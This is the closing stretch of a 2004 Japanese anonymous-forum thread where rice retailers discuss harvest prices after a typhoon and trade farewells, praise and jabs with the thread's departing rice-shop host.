それが頼りない米屋さんだけのおかげと言う気はないが、その存在は
大きかったと思うよ。

これからもこのレスが(別レスでもいいが)そうあって欲しいと心から思う。

971 :970:04/09/07 10:02
これからもこのレスが(別レスでもいいが)
>これからもこのスレが(別スレでもいいが)
スレ汚し、失礼。

972 :もぐもぐ名無しさん:04/09/07 10:28
>>969
漏れも米関係の仕事してるんで、業界用のスレは欲しいな

973 :もぐもぐ名無しさん:04/09/07 11:14
立てたい人が立てたいスレを立てればいいだけですよ。

参加する人が多ければ続くでしょうし、信用できる内容のレスなら
名無しでもいい訳で、質の良いレスが続けば結果は付いてくるのでは
ないでしょうか。


974 :もぐもぐ名無しさん:04/09/07 11:18
今は頼しかいない時間帯ですか・・・また後にしよう。

975 :970:04/09/07 11:28
低アミロースなやつだな。

976 :974ではない973:04/09/07 12:12
>>975
粘っこいやつという事かな?

頼りない米屋さんのレスもあるかも…と思っています。
コテハン復活は望まないな〜…

977 :もぐもぐ名無しさん:04/09/07 12:23
頼りない米屋さんへ
そろそろ最後のご挨拶をお願いします。

978 :資金が少なくなった米屋:04/09/07 13:43
>945
質問するのがおかしいねぇ、、、
もともとこのトピの主は頼米さんじゃないか!!
ここまで続けてこられたのはみんなの協力もあるだろうけど、
やっぱり頼米さんの時間と労力と情熱があればこそここまで続けてこられたと思うね
「お米屋だけど何でも質問に答えます○○俵目」は当然使えませんよね

少しの頼米さんの失敗を心の狭い利己的な方々の為にこのトピが消え去るのは寂しいかぎりですね。

ところで、ほんと米屋って利己主義の人が多いね!!
他の仕事が出来なくて仕方なくあとを次いでるのが多いからかな??
米屋をまとめるのは苦労しますわァ。。。。
上の3行は私の独り言、

979 :もぐもぐ名無しさん :04/09/07 14:30
>>資金が少なくなった米屋さんへ
現在台風が日本を襲っていますが、
今後相場にどのように影響すると思いますか?

980 :資金が少なくなった米屋:04/09/07 14:31
伊○産業の営業に今年の作況聞いたら、やや良でしょうって、元気に答えてくれました。
この前まで、元気なかったんやけどな、、
台風来て喜んでますな

別の卸に聞いたら、100行くかどうか心配してますって、、、
大豊作が台風でこうなっちゃうのは辛いねェ、、、
安い16年産千葉のふさおとめを大量に買ったのは正解かな??
僕としては不正解の方が嬉しいんだけどなぁ、、、


981 :もぐもぐ名無しさん:04/09/07 14:44
>>980
ありがとうございます。
実は茨城あきたこまち、千葉ふさおとめを注文していたのですが、
さっき電話で200円アップだって・・・


982 :資金が少なくなった米屋:04/09/07 14:55
979のご質問を知らずに書き込みをしてました。
だから、980を読まれてご気分を害さない様にお願いします。 m(_'_)m

979のご質問には的確にお答え出来ません。  ごめんなさい  m(_'_)m

悪い話ばかり聞かされますが、これはなるべく無視するようにしてます。
ただ、ふさおとめを保険に買ったことは確かですが、、、、(^^ゞ


983 :頼りない米屋 ◆ZZgp783joc :04/09/07 14:55
それでは終了間際に【最後のご挨拶】

長きに渡って続いた「お米屋ですが何でも」スレ主の私は退任させて頂きます。
続編を立てたければ執着心は皆無。どうぞご自由にお使い下さい。

ミスとか自演とか荒らしとか・・特に言い訳する気もございません。
2ちゃんですから読んだ方のご自由な感想で結構でございます。
私も人間ですから長きに渡ると、謝った意見・決め付け・失敗も多々
あったと思いますがお許し願いたいと存じます。
私の役目はひとまず終了したと思っております。
いくつかの発言の中から消費者自己防衛のヒント
米屋あるいは米業界全体への偏見の一部が払拭されたなら幸いです。
また米業界内でのショーバイのヒント情報になれたなら幸いです。
今年は昨年と正反対な大豊作。古米山積業者への不信など
いくつかの課題があり消費者も違ったヒントが必要な年でしょう。
どうぞ皆さん情報収集によって無駄の無い「主食・米」のお買い物を。

それでは失礼致します。

PS.現在心無い方に当分の間スレ立てを禁止されております。
ちょうど良いので休養期間とし、やる気になったら(分かりません)
新スレ立てるかもしれません。ま、消費者質問より業界関係者雑談スレが良いかな
とも思いますが。誰か立ってくれればゲスト参加位は可能です。





984 :もぐもぐ名無しさん:04/09/07 15:03
麗香です。宜しくお願いしますm(_ _)m
楽しくお話ししましょうね♪お気軽にカキコお願いします。
ただし、不快なカキコは管理人の判断で削除いたします。
http://www2.bigcosmic.com/board/f/board.cgi?id=crush29

985 :もぐもぐ名無しさん:04/09/07 15:08
>>932
低音籾貯蔵の米ならいざしらず、常温で玄米での保存は、同年の他産地よりおいしい
レベルで、魚沼だろうがなんだろうが、早場米の新穀よりも明らかに劣るよ。

986 :もぐもぐ名無しさん:04/09/07 15:13
>>983
まだ居たのかよ。8月1日の昼に、このスレからはいなくなったはずだろ。
(ときどきやってきては荒らしまくっていたことは、周知の事実だが)
もはや、あんたにゃあ、板での信用は全く無いんだよ。
見るのは構わないが、あまり恥ずかしい真似をするな。
商売に差し障りの出る前に手を引くのが得策だと思うがなぁ。

987 :もぐもぐ名無しさん:04/09/07 15:37
>>頼りない米屋さん
ご苦労様でした。
どこかでお会いしたら、宜しくお願いします。
それじゃまた・・・

988 :田舎の米屋:04/09/07 15:40
>>983
寂しくなります。
ウチの社長、奥さんがよろしくと言っております。


989 :資金が少なくなった米屋:04/09/07 15:59
頼米さん、お疲れ様でした。
また、情熱が戻ったらレスを立ち上げてください。
頼米さんのファンは書き込み少ないけどいっぱいおられますよ!!

チョット独り言です。
頼米さんに批判してるやつ、、、
自分1回レス立ち上げてみ!!
どんだけ大変な事かわかるでぇ!!
ほんま、ええレスやったのになぁ、、、
同業者として情けないわァ、、、



990 :もぐもぐ名無しさん:04/09/07 16:40
急に雑魚がいっぱい湧いてきたが、
お前らは頼りない米屋がいないと、回答もできないのか?
米に関する質問だぞ?
頼、頼、頼って、よくそれで米屋やってるな!
わかる質問に答えてやればいいだけの話しだろ?

991 :もぐもぐ名無しさん:04/09/07 16:44
>>989
同業者が批判してるとはかぎらんだろ

992 :もぐもぐ名無しさん:04/09/07 16:51
誰か米業界関係者スレ立ててくれYO 漏れは立てれんかったorz
あと次からはsage進行がいいとおもう。

993 :資金が少なくなった米屋:04/09/07 16:55
その他大勢のハンドルネームしか使えんやつが、遠くで吠えてますなぁ。。。



994 :資金が少なくなった米屋:04/09/07 17:00
教えて、、、
米の重量誤差の許せる範囲は???
10kgと書いた袋に15kg入れてもいいのかなぁ??

995 :もぐもぐ名無しさん:04/09/07 17:09
993-994
なんかこいつ偉そうだな。
質問しかできない米屋のくせにw

996 :もぐもぐ名無しさん:04/09/07 17:16
チエックしてるはずなんで、1000近辺で一言。

一部、物好きな米屋が応援していますが、
多数の人に不快感を与えて、嫌われてる事も事実なんで、
勘違いしないで、謙虚に頑張ってください。
後半は特に見苦しかったです。 おつかれ

997 :もぐもぐ名無しさん:04/09/07 17:19
>>995
自演うざすぎ。
アンチ頼米屋ネタ、ほとんどオメエじゃんか。

>>頼りない米屋さん
単純に、オレにとっては役に立つことの多いスレッドでした。
一般消費者にもけして敷居の高くないスレだったと思います。
業界関係者雑談スレになっちゃうのは残念ですが、
それはそれでがんばってください。

そのほかのコテハンのみなさんも、どうもありがとう。
ごくろうさま。


998 :もぐもぐ名無しさん:04/09/07 17:24
.

999 :もぐもぐ名無しさん:04/09/07 17:24
埋め

1000 :1000:04/09/07 17:24

'''''─- .....,,,_        __人_人,_从人_.人_从._,人_人_
 ̄"゙'"''''''─‐- ゙"ニ ─__ )
 r──---   ...___    ) 離れても俺たちは友達だからなー!!
 三 /レi ニ |   ニ ≡ )  絶対戻って来いよ
 .ニ ( ゚´Д)|  ニ  |!カ_ ろ  いつまでも待ってるからー!!
 | /  つ つ Lニ-‐′´   )/⌒Y⌒Y⌒l/⌒Y⌒Y⌒Y⌒
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ニ─        _,.. ゝ、 O
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